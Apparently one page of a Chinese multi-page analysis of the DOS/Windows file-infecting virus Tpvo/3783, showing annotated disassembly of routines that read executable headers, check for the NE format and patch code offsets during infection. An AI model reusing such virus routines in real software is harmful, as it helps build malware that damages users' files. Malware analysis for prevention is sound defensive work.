Tpvo/3783 病毒的分析和防治

• ;=======================================================================
  ;检测是否 WINDOWS 可执行程序或新格式可执行程序
  F6C8:0C2E 833EDF0E40　　CMP　　 WORD PTR [0EDF],+40
  F6C8:0C33 7225　　　　　JB　　　0C5A ;重定位表地址 < 40
  F6C8:0C35 C416030F　　　LES　　 DX,[0F03] ;不是 WINDOWS 文件
  F6C8:0C39 8CC1　　　　　MOV　　 CX,ES
  F6C8:0C3B 83EA08　　　　SUB　　 DX,+08 ;移动到 NE 文件头 - 8 处
  F6C8:0C3E 83D900　　　　SBB　　 CX,+00 ;
  F6C8:0C41 E87000　　　　CALL　　0CB4 ;DOS 4200功能
  F6C8:0C44 B43F　　　　　MOV　　 AH,3F
  F6C8:0C46 B94800　　　　MOV　　 CX,0048 ;读出 48H 字节
  F6C8:0C49 BA070F　　　　MOV　　 DX,0F07 ;NE 文件头在 0F0F 处
  F6C8:0C4C 8BF2　　　　　MOV　　 SI,DX
  F6C8:0C4E E84E00　　　　CALL　　0C9F
  F6C8:0C51 7207　　　　　JB　　　0C5A
  F6C8:0C53 817C084E45　　CMP　　 WORD PTR [SI+08],454E
  F6C8:0C58 7401　　　　　JZ　　　0C5B ;不是 "NE" 设置 CY
  F6C8:0C5A F9　　　　　　STC　　
  F6C8:0C5B C3　　　　　　RET　　
  ;==========================================================================
  F6C8:0C5C 53　　　　　　PUSH　　BX
  F6C8:0C5D 51　　　　　　PUSH　　CX
  F6C8:0C5E 52　　　　　　PUSH　　DX
  F6C8:0C5F 56　　　　　　PUSH　　SI
  F6C8:0C60 57　　　　　　PUSH　　DI
  F6C8:0C61 55　　　　　　PUSH　　BP
  F6C8:0C62 1E　　　　　　PUSH　　DS
  F6C8:0C63 06　　　　　　PUSH　　ES
  F6C8:0C64 B98B28　　　　MOV　　 CX,288B
  F6C8:0C67 BA75D5　　　　MOV　　 DX,D575
  F6C8:0C6A B80010　　　　MOV　　 AX,1000
  F6C8:0C6D 8ED8　　　　　MOV　　 DS,AX
  F6C8:0C6F B43F　　　　　MOV　　 AH,3F
  F6C8:0C71 E81701　　　　CALL　　0D8B
  F6C8:0C74 720E　　　　　JB　　　0C84
  F6C8:0C76 0E　　　　　　PUSH　　CS
  F6C8:0C77 1F　　　　　　POP　　 DS
  F6C8:0C78 01066F07　　　ADD　　 [076F],AX
  F6C8:0C7C 0106680C　　　ADD　　 [0C68],AX
  F6C8:0C80 2906650C　　　SUB　　 [0C65],AX
  F6C8:0C84 07　　　　　　POP　　 ES
  F6C8:0C85 1F　　　　　　POP　　 DS
  F6C8:0C86 5D　　　　　　POP　　 BP
  F6C8:0C87 5F　　　　　　POP　　 DI
  F6C8:0C88 5E　　　　　　POP　　 SI
  F6C8:0C89 5A　　　　　　POP　　 DX
  F6C8:0C8A 59　　　　　　POP　　 CX
  
• 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] 下一页 
• 复制本页网址和标题，发送给你QQ/Msn的好友一起分享
  
  
• Tpvo/3783 病毒的分析和防治 相关文章：
• ·系统漏洞的形成和防治办法
• ·减治法：C#实现插入排序实例
• ·网络工程师讲解系统安全漏洞的形成和防治
• ·李治国：急躁公司做不了分类信息
• ·网络工程师教您防治常见网络攻击
• ·通过Rational的工具来实现SOA治理
• ·利用Mcafee根治Viking 威金病毒
• ·理清SOA治理中的架构师角色
• ·VeryCD:迅雷增强共享机制说治标不治本
• ·巧妙设置系统 轻松防治邮件病毒
• Tpvo/3783 病毒的分析和防治 相关软件
• ·《资治通鉴》注释版（全五册）
• ·贞观之治
• ·本殖民统治台湾五十年史
• ·《常见皮肤性病诊断与治疗》
• ·福赛斯经典政治惊险小说《豺狼的日子》
• ·《威权统治下的中国现状与前景》
• ·新疆好地方－庆祝新疆自治区50周年摄影集
• ·统治世界2
• ·曾胡治兵语录
• ·佐治药言

上一篇:UNIX系统上实现拨号

下一篇:网络资源的列举

• 特别声明：本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载，但请务必注明出处和原始作
• 者.文章版权归文章原始作者所有.对于被本站转载文章的个人和网站，我们表示深深的谢意。如果本站转
• 载的文章有版权问题请联系编辑人员,我们尽快予以更正. 转载请注明来源：http://www.hackhome.com

精品推荐

热点TOP10

特别推荐